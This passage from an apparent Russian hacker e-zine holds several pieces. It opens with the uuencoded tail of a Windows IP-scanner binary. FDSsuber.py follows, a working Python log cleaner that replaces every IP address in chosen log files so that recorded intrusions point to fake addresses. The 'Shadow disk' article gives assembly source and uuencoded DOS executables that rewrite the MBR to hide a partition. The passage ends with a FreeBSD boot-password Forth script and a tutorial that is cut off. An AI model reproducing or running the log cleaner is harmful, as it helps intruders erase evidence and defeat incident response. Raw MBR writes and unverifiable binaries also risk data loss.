M`'8D:A!H0B!``&A(($``:@#HU04``/\UM"U``.CN!0``,\#)PA``@R6H+4``
M`&H`:.@#``!J`?]U".C6!0``HT8O0`#_!0P@0`"#)0`@0```H0P@0``K!0@@
M0`"CH"U``,'@!D"COB]``/\UOB]``&H"Z/P$```+P'49:A!H0B!``&B%($``
M:@#H704``#/`R<(0`*.L+4``_S6L+4``Z-L$``"CL"U``(L-OB]``$EFNB`@
M9HD4".+Z_S4(($``CP4,($``NI8I0`!H!"!``&H`:@!2:@!J`.A]!```_P4$
M($``H:`M0`#!X!!0:@!H`00``/\UMB]``.@$!0``:@!J`6@$!```_S6V+T``
MZ/`$```SP,G"$`#I;@$``&8]Z0-U46H`:@!H9`0``&CK`P``_W4(Z,,$``!J
M`&H`:&0$``!H[0,``/]U".BM!```:@!HZ`,``/]U".BJ!```_S6T+4``Z*4$
M```SP,G"$`#I%P$``&8]Z@,/A?,```"#/;HO0```=`8SP,G"$`!J(&B`+4``
MZ/$#``#'!88O0``$`"@`:%(O0`#H<04``(/X`0^%E0```&H`:B!J`FH`:@-H
M````P&B`+4``Z(4#``"CGB]``/\UOB]``&I"Z)$#``"CK"U``/\UK"U``.B-
M`P``H[`M0`#_-;XO0`#_-;`M0`!HZ`,``/]U".BW`P``:@!HHB]``%#_-;`M
M0`#_-9XO0`#H;@,``/\UGB]``.@;`P``_S6P+4``Z$8#``#_-:PM0`#H+P,`
M`.L3:A!H0B!``&B;($``:@#HC`,``/\UM"U``.BE`P``,\#)PA``ZQIF/>\#
M=11J`&H`:@+_=0CH?0,``#/`R<(0`(-]%`!U'_]U".@A`P``ZQ7_=13_=1#_
M=0S_=0CH"`,``,G"$``SP,G"$`!5B^R#Q.A65V;'1>H@`,=%_"X````/MG4+
MC47X4%;HG0,```^V=0J-1?105NB/`P``#[9U"8U%\%!6Z($#```/MG4(C47L
M4%;H<P,``(M]#,8'`(U%ZE"-1>Q0C47\4(U%\%"-1?Q0C47T4(U%_%"-1?A0
M_W4,:@CHGP,``(/$*%]>R<((`%6+[(/$_#/;BPV@+4``45-H@"U``/\U""!`
M`.A:____H0@@0``K!0P@0`#!X`8#!;`M0`!H@"U``%#H)P(``%"A""!``(E%
M_(I%_(IE_XA%_XAE_(I%_8IE_HA%_HAE_5BZ7BI``&@$($``:@#_=?Q2:@!J
M`.BD`0``_P4$($``_P4(($``6T,[':8O0`!R+*$(($``*P4,($``@SVF+T``
M"G8#@^@*ZPE0:F3HHP$``%@Y!0`@0`!R[S/;64D/A4K____)P@0`58OL@\3P
MBT4(B47\4(M%_(E%^(I%^(IE^XA%^XAE^(I%^8IE^HA%^HAE^5B+1?@K!0P@
M0`#!X`8#!;`M0`")1?3'1?`$````BD7X/`EW!?]%\.L./&-W!H-%\`+K!(-%
M\`.*1?D\"7<%_T7PZPX\8W<&@T7P`NL$@T7P`XI%^CP)=P7_1?#K#CQC=P:#
M1?`"ZP2#1?`#BD7[/`EW!?]%\.L./&-W!H-%\`+K!(-%\`-J`FH$C47\4.A+
M`@``A<!T$(M-]`--\/\P4>C/````ZQ&+1?0#1?!HJB!``%#HO````(M]]$^R
M(+D^````B@>$P'4"B!='XO5'9KH-"F:)%VH`:@!H``4``/\ULB]``.CJ````
MR<($`&H`Z$D```"CJB]``.@Y````HZXO0`!J"O\UKB]``&H`_S6J+T``Z&?U
M__]0Z!,```#,_R58$$``_R50$$``_R5,$$``_R5($$``_R5$$$``_R5`$$``
M_R4\$$``_R4L$$``_R4@$$``_R4D$$``_R4H$$``_R54$$``_R4P$$``_R4T
M$$``_R4X$$``_R6L$$``_R6P$$``_R6H$$``_R6D$$``_R6@$$``_R6<$$``
M_R5H$$``_R5@$$``_R5D$$``_R6T$$``_R5L$$``_R5P$$``_R5T$$``_R5X
M$$``_R5\$$``_R6`$$``_R6$$$``_R6($$``_R6,$$``_R60$$``_R64$$``
M_R68$$``_R48$$``_R44$$``_R40$$``58OL5E<SP(MU"#/),]**!D8\`G42
MB@;WTD;K"RPPC0R)C0Q(B@9&"L!U\8T$$3/"7U[)P@0`S,Q5B^Q35E>+10B+
M?0P+P'4'9L<',`#K/'D&Q@<M]]A'N9J9F1F+]^L3B]CWX8O"C122`](KVH##
M,(@?1X/X`'?HQ@<`ZPI/B@:*)X@'B"9&._=R\E]>6\G""`#,S%6+[%97BWT,
M,\F-51!/1XH'"L!U^4^+-(I'B@:(!T8*P'7V03M-"'7L7U[)P\S_)<000`#_
M)<`00`#_);P00`#_)<@00`#_)0`00`#_)0@00```````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````````````````````````````````#``,````H
M``"`!0```$```(`.````6```@````````````````````0`!````<```@```
M``````````````$```#H``"`B```@````````````````````0#T`0``H```
M@````````````````````0`)!```N````````````````````````0`)!```
MR````````````````````````0`)!```V````+@R``#H`@````````````#P
M,```R`$`````````````H#4``!0```````````````,`20!0`%,`1`C*$```
M```)`$$`40`\`:$```!$`$P`1P!#`$P`00!3`%,```!)`%``(`!3`&,`80!N
M`&4`<@`@`&(`>0`@`%,`:`!M`&4`;`````@`30!3`"``4P!A`&X`<P`@`%,`
M90!R`&D`9@``````````4`````#F``<`'``)`/____^"`%,`=`!A`'(`=``@
M`$D`4`````````````!0`````.8`(``8``D`_____X(`10!N`&0`(`!)`%``
M``````````"!4``````0`3X`&``+`/`#__^!``````````$``5``````[P!0
M`#@`#@#N`___@`!3`"8`8P!A`&X``````````5``````[P!A`#@`#@#J`___
M@``F`%,`80!V`&4`(`!A`',`+@`N`"X``````````5``````[P!R`#@`#@#I
M`___@`!#`&P`)@!E`&$`<@````````````%0`````.\`@P`X``X`[P/__X``
M10`F`'@`:0!T``````#$$*!0``````8`!P#3`(L`Z`/__X$````````````"
M4`````#A`#\`+``,`/____^"`$T`80!X`"``5`!H`'(`90!A`&0`<P``````
M*````"````!``````0`$``````"``@``````````````````````````````
M`(```(````"`@`"`````@`"``("```"`@(``P,#`````_P``_P```/__`/\`
M``#_`/\`__\``/___P``````````````````````````````````````````
M````````````````````````````````````````````"JJJJJJJJJJJ````
M``````JJJJJJJJJJJJH`````````JJJJJJJJJJJJH`````````JJJJJJJJJJ
MJJH`````````JJJJJJJJJJJJH`````````JJJJH````*JJH`````````JJJ@
M`````*JJH`````````JJ``````JJJJH`````````H`````"JJJJJ````````
M```````*JJJJJ@`````````````*JJJJJJH````````````*JJJJJJJJ````
M````````JJJJJJJJJ@``````````"JJJJJJJJJ```````````*JJJJJJJJH`
M``````````JJJJJJJJH```````````"JJJJJJJH`````````````JJJJJJJ@
M``````````````JJJJJJ````J@``````````JJJJH```"JJ@``````````JJ
MJ@```*JJJ@``````````JJJ@``JJJJJ@``````````JJJJJJJJJJJ@``````
M````JJJJJJJJJJH```````````JJJJJJJJJ@````````````JJJJJJJJH```
M``````````JJJJJJJ@```````````````````````/_______________P``
M'_\```__```'_X```__```'_X```__```'_X#^`__!_`'_X_@!__?@`?__@`
M'__P`!__X``?_\``/_^``'__``#__@`#__X`#S__`!X?_X`\#__`>`?_X``#
M__```?_X``'__``#__X``___``?__X`/```!``$`("`0``$`!`#H`@```0``
M````````````````````````````````````````````````````````````
>````````````````````````````````````````
`
end
sum -r/size 36562/7680
 ---< cut here >---

   VI. suber.py by best_mowi

 ---< cut here >---
#!/usr/bin/env python
#   _  _ _  _   _  _
#  |_  | | |_) |_ |_)  FDSsuber.py v0.0.1 (easy "suber" engine)
#   _| |_| |_) |_ | \      by best_mowi <[email protected]>
#
#  hi hackers, crackers, lamers and other fucking ppl! FDSsuber.py my elite
#  tekst l0g cleaner. FDSsuber.py based on little, but very useful function
#  - "sub" function from re (regular expressions) module. have phun, du0ds!
#
#  usage example:
#  root@localhost test# ls
#  example.log FDSsuber.py* w00w.sh*
#  root@localhost test# cat example.log
#  Oct 5 12:01:35 2004 - hacked from 1.2.3.4
#  Oct 6 15:48:00 2004 - hacked from 5.6.7.8
#  root@localhost test# ./FDSsuber.py
#  Usage: ./FDSsuber.py [options]
#  Valid options:
#    -v --version                  print version and exit
#    -h --help                     print usage and exit
#    -a --address=<fake ip>        choose fake ip - addr. [random value]
#    -d --directory=<dir. name>    choose dir. with log - files []
#    -f --file=<file name>         choose one log - file []
#  Usage example: FDSsuber.py -a 1.1.1.1 -f /var/log/secure
#                 FDSsuber.py -d /var/log/httpd
#
#  root@localhost test# ./FDSsuber.py -f example.log
#  root@localhost test# cat example.log
#  Oct 5 12:01:35 2004 - hacked from 201.246.179.171
#  Oct 6 15:48:00 2004 - hacked from 201.246.179.171
#  root@localhost test# ./FDSsuber.py -f example.log -a 127.0.0.1
#  root@localhost test# cat example.log
#  Oct 5 12:01:35 2004 - hacked from 127.0.0.1
#  Oct 6 15:48:00 2004 - hacked from 127.0.0.1
#  root@localhost test# cat w00w.sh
#  #!/bin/sh
#  # kid, remember: "..2 second bash script by [email protected]"?
#  #      .. 1 second w00w.sh bash script by [email protected]
#  echo "FUCK YOU, KID!"
#  root@localhost test# ./w00w.sh
#  FUCK YOU, KID!
#
#  credits: "A.C.E.'7'", "Defaced", Scorpio, shmel and my parents.
#
# This source is free software; you can redistribute it and/or
# modify it under the terms of the GNU Library General Public
# License as published by the Free Software Foundation, version 2.
#
# If you use and/or modify this code please email the author and
# provide an URL where the updated program code can be obtained.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Library General Public License for more details.
#
# You can retrieve a copy of the GNU Library General Public License
# from http://www.gnu.org/.  For a copy via US Mail, write to the
#
#     Free Software Foundation, Inc.
#     59 Temple Place - Suite 330,
#     Boston, MA  02111-1307
#     USA

""" EASY [SUBER] ENGINE """

__program__   = "FDSsuber.py"
__version__   = "0.0.1"
__copyright__ = "copyright (c) 2004 best_mowi"
__author__    = "best_mowi <[email protected]>"
__license__   = "GPL (GNU GENERAL PUBLIC LICENSE)"

try: import whrandom
except Exception: print "`whrandom' module import error!"
try: import dircache
except Exception: print "`dircache' module import error!"
try: import getopt
except Exception: print "  `getopt' module import error!"
try: import os
except Exception: print "      `os' module import error!"
try: import errno
except Exception: print "   `errno' module import error!"
try: import sys
except Exception: print "     `sys' module import error!"
try: import re
except Exception: print "      `re' module import error!"

def usage():
    def show(prompt):
        print >> sys.stderr, prompt
    show("Usage: ./%s [options]" % (__program__))
    show("Valid options:")
    show("  -v --version                  print version and exit")
    show("  -h --help                     print usage and exit")
    show("  -a --address=<fake ip>        choose fake ip - addr. [random value]")
    show("  -d --directory=<folder name>  choose dir. with log - files []")
    show("  -f --file=<file name>         choose one log - file []")
    show("Usage example: %s -a 1.1.1.1 -f /var/log/secure" % (__program__))
    show("               %s -d /var/log/httpd" % (__program__))
    sys.exit(0)

def rand_ip():
    o_1 = whrandom.randrange(1, 255, 1)
    o_2 = whrandom.randrange(1, 255, 1)
    o_3 = whrandom.randrange(1, 255, 1)
    o_4 = whrandom.randrange(1, 255, 1)
    return "%(o_1)s.%(o_2)s.%(o_3)s.%(o_4)s" % vars()

def fake_dir(addr, dir):
    files = dircache.listdir(dir)
    for loop in xrange(0, len(files)):
        try:
            fread = open(dir+os.sep+files[loop], "rb")
        except IOError:
            print os.strerror(errno.EIO)+"!"
            sys.exit(-1)
        cont = fread.read()
        fake = re.sub("[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}",\
                       addr, cont)
        fread.close()
        try:
            fwrite = open(dir+os.sep+files[loop], "wb")
        except IOError:
            print os.strerror(errno.EIO)+"!"
            sys.exit(-1)
        fwrite.write(fake)
        fwrite.close()
    sys.exit(0)

def fake_file(addr, file):
    try:
        fread = open(file, "rb")
    except IOError:
        print os.strerror(errno.EIO)+"!"
        sys.exit(-1)
    cont = fread.read()
    fake = re.sub("[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}",\
                   addr, cont)
    fread.close()
    try:
        fwrite = open(file, "wb")
    except IOError:
        print os.strerror(errno.EIO)+"!"
        sys.exit(-1)
    fwrite.write(fake)
    fwrite.close()
    sys.exit(0)

def main():
    try:
        _dir  = ""
        _file = ""
        _addr = rand_ip()
        (optlist, args) = getopt.getopt(sys.argv[1:], "vha:d:f:",\
                                       ["version",    "help",  "address=",\
                                        "directory=", "file="])
        for option, argument in optlist:
            if ((option) in ("-v", "--version")):
                print >> sys.stderr, "%s version %s" % (__program__, __version__)
                print >> sys.stderr, "%s" % (__copyright__)
                return
            elif ((option) in ("-h", "--help")):
                usage()
                return
            elif ((option) in ("-a", "--address")):
                _addr = argument
            elif ((option) in ("-d", "--directory")):
                _dir = argument
            elif ((option) in ("-f", "--file")):
                _file = argument
    except getopt.GetoptError:
        print os.strerror(errno.EINVAL)
        sys.exit(-1)
    except KeyboardInterrupt:
        print os.strerror(os.EINTR)
        sys.exit(-1)
    if (len(_dir) == 0) and (len(_file) > 0):
        fake_file(_addr, _file)
    if (len(_file) == 0) and (len(_dir) > 0):
        fake_dir(_addr, _dir)
    if ((len(sys.argv)) == 1):
        usage()
        return
    sys.exit(0)

if (__name__=="__main__"): main()
 ---< cut here >---




                 ,$$$;$!$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
                 %;'                                 `;%
                                Shadow disk
                 %;.                                 ,;%
                 `$$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$!$$$$'




 Однажды, передо  мной встала задача - скрыть диск, таким образом, чтобы ни
 одна тварь не могла его увидеть, ни по сети, ни сидя за моим боксом.
 Поискав  в сети Internet, я понял, что таких программ немного и их способы
 не подходили для моего случая.
 Один из самых распространенных способов скрытия, предлагаемый в сети - это
 скрытие диска в Explorer'е, через реестр. После этого диск не виден в "Мо-
 ём компьютере", но другие программы легко видят эти диски, например, Total
 Commander, Norton Commander и другие менеджеры файлов.  Для  Linux, задача
 сводилась к затиранию информации в /etc/fstab, но пользователь мог вручную
 подключить раздел или,загрузившись с загрузочного live cd,увидеть содержи-
 мое диска.
 Эти методы отпадали и пришлось самому придумывать удобный мне способ.Оста-
 новился на корректировке таблицы MBR, где указываются начальный сектор ло-
 гического диска, количество секторов, тип файловой системы и т.д.Вот здесь
 и  нашел решение - если в байте, обозначающим тип файловой системы, поста-
 вить ноль, то никакая ОС не будет видеть логический диск.Только пустое не-
 используемое пространство в программах разбивки дисков.  Это можно органи-
 зовать,  применением программ корректировки дисков, на низком уровне, типа
 DiskEdit из набора Norton Utilites. Ищется байт, отвечающий за тип  файло-
 вой системы (он находится по смещению 04h), относительно  начала структуры
 описателя раздела. Начало первого описателя раздела находится  по смещению
 1BEh, второго - 1CEh, третьего - 1DEh, четвертого - 1EEh. Например,необхо-
 димо скрыть 2-й раздел диска.
 Считываем MBR жесткого диска, по смещению 1CEh + 04h изменяем байт на 00h,
 при этом запоминая какой был байт.После перезагрузки диска не будет видно.
 Обратная операция возвратит диск в исходное состояние.
 Для примера, мною была написана программа, скрывающая 2-й логический диск.
 После  запуска  программа запрашивает  пароль 'Shadow' и после правильного
 ввода, запрашивает на каком контроллере установлен винчестер:
 Primary master, slave, Secondary master, slave,соответственно 1,2,3,4.Пос- 
 ле этого создает бэкап MBR  сектора в файле mbr.dat и заменяет байт файло-
 вой системы на 00h. После перезагрузки диска не будет видно.  Для возврата
 необходимо запустить программу Unshadow,также указать пароль Shadow, и на-
 жать номер контроллера жесткого диска. После перезагрузки компьютера  диск
 снова появится.  Программа работоспособна под MS-DOS или Windows 9x.

 Исходные коды программ:

  ---< cut here >---
;; Shadow disk 1.0 (shadow.asm)
;; Copyright (C) 2005 by Scorpio
masm
model small
.stack  10h
.data
passize equ 6
pass  db  "Shadow"
entpass db  passize dup (?)
mespas  db  "Shadow disk 1.0. Copyright (C) 2005 by Scorpio.",0dh,0ah
  db  "Enter password: $"
npass db  "Your password is invalid",0dh,0ah,"$"
mes1  db  "Enter which Phisycal disk will hide",0dh,0ah
  db  "Primary master, slave, Secondary master, slave (1,2,3,4)",0dh,0ah,"$"
meserr  db  "Error",0dh,0ah,"$"
mesok db  "All, OK!!!",0dh,0ah,"$"
hardisk db  ?
buf db  512 dup (?)
dap db  20h,0,1,0
dapaddo dw  ?
dapadds dw  ?
daplba  db  8 dup (0),16 dup (0)
filnam  db  "mbr.dat",0
hand  dw  ?
.code
main:
  mov ax,@data
  mov ds,ax
  mov es,ax
  mov ah,41h
  mov bx,55aah
  mov dl,80h
  int 13h
  jnc exita
erro: mov ah,9
  lea dx,meserr
  int 21h
  mov ax,4c00h
  int 21h
exita:  mov ah,9
  lea dx,mespas
  int 21h
  mov ah,3fh
  xor bx,bx
  lea dx,entpass
  mov cx,passize
  int 21h
  lea si,pass
  lea di,entpass
  mov cx,passize
  cld
  rep cmpsb
  je  allr
  mov ah,9
  lea dx,npass
  int 21h
  mov ax,4c00h
  int 21h
allr: mov ah,9
  lea dx,mes1
  int 21h
inp:
  mov ah,08h
  int 21h
  cmp al,31h
  jb  inp
  cmp al,34h
  ja  inp
  and al,07h
  dec al
  or  al,80h
  mov [hardisk],al
  jmp cont
erro1:
  jmp erro
cont:
  lea dx,buf
  mov [dapaddo],dx
  mov [dapadds],ds
  mov ah,42h
  mov dl,[hardisk]
  lea si,dap
  int 13h
  cmp ah,0
  jnz erro
  lea si,buf
  add si,1d6h
  lea di,daplba
  mov cx,4
  cld
  rep movsb
  mov ah,42h
  mov dl,[hardisk]
  lea si,dap
  int 13h
  cmp ah,0
  jnz erro1
  xor cx,cx
  lea dx,filnam
  mov ah,3ch
  int 21h
  jc  erro1
  mov [hand],ax
  mov bx,ax
  mov ah,40h
  lea dx,buf
  mov cx,512
  int 21h
  jc  erro1
  mov ah,3eh
  mov bx,[hand]
  int 21h
  jc  erro1
  lea bx,buf
  add bx,1c2h
  xor al,al
  mov [bx],al
  mov ah,43h
  xor al,al
  mov dl,[hardisk]
  lea si,dap
  int 13h
  mov ah,9h
  lea dx,mesok
  int 21h
  mov ax,4c00h
  int 21h
end main
 ---< cut here >---

 ---< cut here >---
;; Shadow disk 1.0 (unshadow.asm)
;; Copyright (C) 2005 by Scorpio
masm
model small
.stack  10h
.data
passize equ 6
pass  db  "Shadow"
entpass db  passize dup (?)
mespas  db  "Unshadow disk 1.0. Copyright (C) 2005 by Scorpio.",0dh,0ah
  db  "Enter password: $"
npass db  "Your password is invalid",0dh,0ah,"$"
mes1  db  "Enter which Phisycal disk will hide",0dh,0ah
  db  "Primary master, slave, Secondary master, slave (1,2,3,4)",0dh,0ah,"$"
meserr  db  "Error",0dh,0ah,"$"
mesok db  "All, OK!!!",0dh,0ah,"$"
hardisk db  ?
buf db  512 dup (?)
dap db  20h,0,1,0
dapaddo dw  ?
dapadds dw  ?
daplba  db  8 dup (0),16 dup (0)
filnam  db  "mbr.dat",0
hand  dw  ?
.code
main:
  mov ax,@data
  mov ds,ax
  mov es,ax
  mov ah,41h
  mov bx,55aah
  mov dl,80h
  int 13h
  jnc exita
erro: mov ah,9
  lea dx,meserr
  int 21h
  mov ax,4c00h
  int 21h
exita:  mov ah,9
  lea dx,mespas
  int 21h
  mov ah,3fh
  xor bx,bx
  lea dx,entpass
  mov cx,passize
  int 21h
  lea si,pass
  lea di,entpass
  mov cx,passize
  cld
  rep cmpsb
  je  allr
  mov ah,9
  lea dx,npass
  int 21h
  mov ax,4c00h
  int 21h
allr: mov ah,9
  lea dx,mes1
  int 21h
inp:
  mov ah,08h
  int 21h
  cmp al,31h
  jb  inp
  cmp al,34h
  ja  inp
  and al,07h
  dec al
  or  al,80h
  mov [hardisk],al
  jmp cont
erro1:
  jmp erro
cont:
  lea dx,buf
  mov [dapaddo],dx
  mov [dapadds],ds
  mov ah,42h
  mov dl,[hardisk]
  lea si,dap
  int 13h
  cmp ah,0
  jnz erro
  lea si,buf
  add si,1d6h
  lea di,daplba
  mov cx,4
  cld
  rep movsb
  mov ah,42h
  mov dl,[hardisk]
  lea si,dap
  int 13h
  cmp ah,0
  jnz erro1
  xor ax,ax
  lea dx,filnam
  mov ah,3dh
  int 21h
  jc  erro1
  mov [hand],ax
  mov bx,ax
  mov ah,3fh
  lea dx,buf
  mov cx,512
  int 21h
  jc  erro1
  mov ah,3eh
  mov bx,[hand]
  int 21h
  jc  erro1
  mov ah,43h
  xor al,al
  mov dl,[hardisk]
  lea si,dap
  int 13h
  mov ah,9h
  lea dx,mesok
  int 21h
  mov ax,4c00h
  int 21h
end main
 ---< cut here >---

 Откомпилированные программы:

 ---< cut here >---
begin 644 SHADOW.EXE
M35H'``0``0`@``(`__]!`!``````````/@````$`^W%J<@``````````````
M```````````````````````!````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````"X$`".V([`M$&[JE6R@,T3<PRT";K)`,TAN`!,
MS2&T";H,`,TAM#\SV[H&`+D&`,TAO@``OP8`N08`_/.F=`RT";I.`,TAN`!,
MS2&T";II`,TAM`C-(3PQ<O@\-'?T)`?^R`R`HMX`ZP.0ZZ:ZWP")%N,"C![E
M`K1"BA;>`+[?`LT3@/P`=8N^WP"!QM8!O^<"N00`_/.DM$**%MX`OM\"S1.`
M_`!UPS/)NO\"M#S-(7*XHP<#B]BT0+K?`+D``LTA<J>T/HL>!P/-(7*=N]\`
M@</"`3+`B`>T0S+`BA;>`+[?`LT3M`FZT0#-(;@`3,TA````````````````
M````4VAA9&]W````````4VAA9&]W(&1I<VL@,2XP+B!#;W!Y<FEG:'0@*$,I
M(#(P,#4@8GD@4V-O<G!I;RX-"D5N=&5R('!A<W-W;W)D.B`D66]U<B!P87-S
M=V]R9"!I<R!I;G9A;&ED#0HD16YT97(@=VAI8V@@4&AI<WEC86P@9&ES:R!W
M:6QL(&AI9&4-"E!R:6UA<GD@;6%S=&5R+"!S;&%V92P@4V5C;VYD87)Y(&UA
M<W1E<BP@<VQA=F4@*#$L,BPS+#0I#0HD17)R;W(-"B1!;&PL($]+(2$A#0HD
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````(``!````````````````````````````````
-``````!M8G(N9&%T````
`
end
sum -r/size 40000/1543
 ---< cut here >---

 ---< cut here >---
begin 644 UNSHADOW.EXE
M35KY`0,``0`@``(`__]``!``````````/@````$`^W%J<@``````````````
M```````````````````````!````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````"X#P".V([`M$&[JE6R@,T3<PRT";K+`,TAN`!,
MS2&T";H,`,TAM#\SV[H&`+D&`,TAO@``OP8`N08`_/.F=`RT";I0`,TAN`!,
MS2&T";IK`,TAM`C-(3PQ<O@\-'?T)`?^R`R`HN``ZP.0ZZ:ZX0")%N4"C![G
M`K1"BA;@`+[A`LT3@/P`=8N^X0"!QM8!O^D"N00`_/.DM$**%N``ON$"S1.`
M_`!UPS/`N@$#M#W-(7*XHPD#B]BT/[KA`+D``LTA<J>T/HL>"0/-(7*=M$,R
MP(H6X`"^X0+-$[0)NM,`S2&X`$S-(0````````````!3:&%D;W<```````!5
M;G-H861O=R!D:7-K(#$N,"X@0V]P>7)I9VAT("A#*2`R,#`U(&)Y(%-C;W)P
M:6\N#0I%;G1E<B!P87-S=V]R9#H@)%EO=7(@<&%S<W=O<F0@:7,@:6YV86QI
M9`T*)$5N=&5R('=H:6-H(%!H:7-Y8V%L(&1I<VL@=VEL;"!H:61E#0I0<FEM
M87)Y(&UA<W1E<BP@<VQA=F4L(%-E8V]N9&%R>2!M87-T97(L('-L879E("@Q
M+#(L,RPT*0T*)$5R<F]R#0HD06QL+"!/2R$A(0T*)```````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
L`````"```0``````````````````````````````````````;6)R+F1A=```
`
end
sum -r/size 5330/1529
 ---< cut here >---




                ,?$$;$!$$$$$$$$$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
                %;'                                         `;%
                      Customizing FreeBSD loader with 4th
                %;.                                         ,;%
                `?$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$!$$$$'




 Стандартный загрузчик операционной системы FreeBSD  позволяет загружать и
 исполнять на этапе загрузки скрипты, написанные на языке Forth. Это дела-
 ет loader очень мощным и гибким,т.к. Forth является практически полноцен-
 ным языком программирования.
 Изучить  Forth несложно - в сети  достаточно документации и компиляторов/
 интерпретаторов для него.
 Но,  реализация  Forth в составе загрузчика FreeBSD немного отличается от
 стандартов  и не описана в документации. Всё, что у нас имеется это - ис-
 ходный  код  дефолтного загрузчика (/boot/loader.4th) и пример  скрипта в
 папке /usr/share/examples (ну и, разумеется, man loader). В этой статье я
 покажу на примере как писать скрипты для загрузчика нашей любимой ОС.  Но
 сначала надо хотя бы немного описать сам Forth и его команды.

 Вообще Forth не похож на все остальные языки программирования,поэтому по-
 началу очень трудно привыкнуть к его необычному синтаксису. Все выражения
 записываются в обратной польской нотации, т.е. вместо:
 
    2 + 5

 надо писать:

    2 5 +

 Всё  основано  на стеке - сначало в стек кладётся 2, затем 5, после этого
 оператор + вынимает из стека 2 и 5, складывает  их и ложит в стек резуль-
 тат 7.

 Выражение 
 
    (14 - 8) * 24 

 записывается так:
 
    14 8 - 24 *

 Для вывода на экран числа из стека используется оператор точка '.' Опера-
 тор  'drop' извлекает  значение из стека, не выводя его на экран, а 'dup'
 дублирует.

 Переменные объявляются следующим образом:

    variable my_var

 Для того, чтобы сохранить значение в переменной:

    10 my_var !

 а для извлечения значения:

    my_var @

 Значение переменной будет в стеке.

 Теперь разберёмся с объявлением функций:

    : имя_функции тело_функции ;

 Причем после ':' и перед ';' обязательно должен стоять пробел,так как это
 ключевые слова.

 Работа со  строками отличается от работы  с обычными переменными.  Строка
 объявляется как массив  байтов и первый байт содержит длину строки (как в
 паскале). Строка my_str длиной 10 байт объявляется следующим образом:

    create my_str 10 chars allot

 Вообще часто  при описании функций используются стековые диаграммы, кото-
 рые показывают - что находится в стеке до и после выполнения функции.
 Например, стековая диаграмма для функции compare

    ( addr1 len1 addr2 len2 -- result ) 

 показывает - что функция принимает как параметры адрес 1 и 2 строки и  их
 длины, и возвращает результат сравнения этих строк. 

 Ну и еще рассмотрим условный оператор:

    1 > 2 if 
        ." True" cr
    else
        ." False" сr
    then

 Основное неудобство в том, что 'then' используется как закрывающий опера-
 тор.

 Теперь можно разобрать конкретный пример:

 ---< cut here >---
256 dictthreshold !
2048 dictincrease !

include /boot/support.4th
include /boot/screen.4th
include /boot/frames.4th

: (boot) 0 boot ;
: (reboot) 0 reboot ;

: place over over >r >r char+ swap chars move r> r> c! ;
16 constant max_str
create passwd max_str chars allot
create input_str max_str chars allot

variable str_len
variable num_tryes
variable fg_color
seconds 7 mod 1 + fg_color !

: mess1
    clear
    fg_color @ fg
    f_single
    40 2 20 12 box
    22 13 at-xy ." Boot password: "
;

: mess2
    clear
    fg_color @ fg
    f_single
    40 2 20 12 box
    22 13 at-xy ." Password incorrect. Try again "
;

: main
    1 num_tryes !
    0 str_len !
    s" /boot/boot.passwd" O_RDONLY fopen
    dup -1 <> if
        dup passwd 1 + max_str fread
        dup -1 = if
            drop
            s" qwerty" passwd place
        else
            1 -
            passwd 0 chars + c!
        then
        fclose
    else
        drop
        s" qwerty" passwd place
    then
    mess1
    begin 1 while
        key? if
            key
            dup 13 <> if
                str_len @ 1 + str_len !
                input_str str_len @ chars +
                c!
                ." *"
            else
                drop
                str_len @ input_str 0 chars + c!
                input_str count passwd count compare 0= if
                    me
                    clear
                    ." Loading. Please wait..." cr
                    ['] (boot) catch abort" Error booting"
                else
                    num_tryes @ 1 + num_tryes !
                    num_tryes @ 3 > if
                        clear
                        22 13 at-xy ." Password incorrect. "
                        ['] (reboot) catch abort" Error rebooting"
                    else
                        mess2
                        1000 ms
                        mess1
                    then
                    0 str_len !
                then
            then
        then
        100 ms
    repeat
;

main
 ---< cut here >---

 Это исходный код скрипта boot.4th,который запрашивает пароль при загрузке
 FreeBSD. Пароль хранится в файле /boot/boot.passwd или если такой не най-
 ден - устанавливается в самом коде. Данный пример показывает принципы ра-
 боты с файлами, строками и экранными функциями.Для установки скрипта нуж-
 но  поместить его и все include'нутые файлы в папку /boot и удалить/пере-
 местить/переименовать  файл loader.rc.  Этот скрипт со всеми необходимыми
 файлами находится в архиве floader.tar.gz.

 Теперь разберем что в  нём (скрипте) написано.  Переменные dictthreshold,
 dictincrease управляют размером словаря, который невелик по умолчанию.
 Инклуды - тоже самое что в C. Разберем такую строку:

    seconds 7 mod 1 + fg_color !

 Функция seconds кладёт в стек количество секунд,затем в стек кладётся се-
 мерка.  Количество секунд делится по модулю на 7 и к результату прибавля-
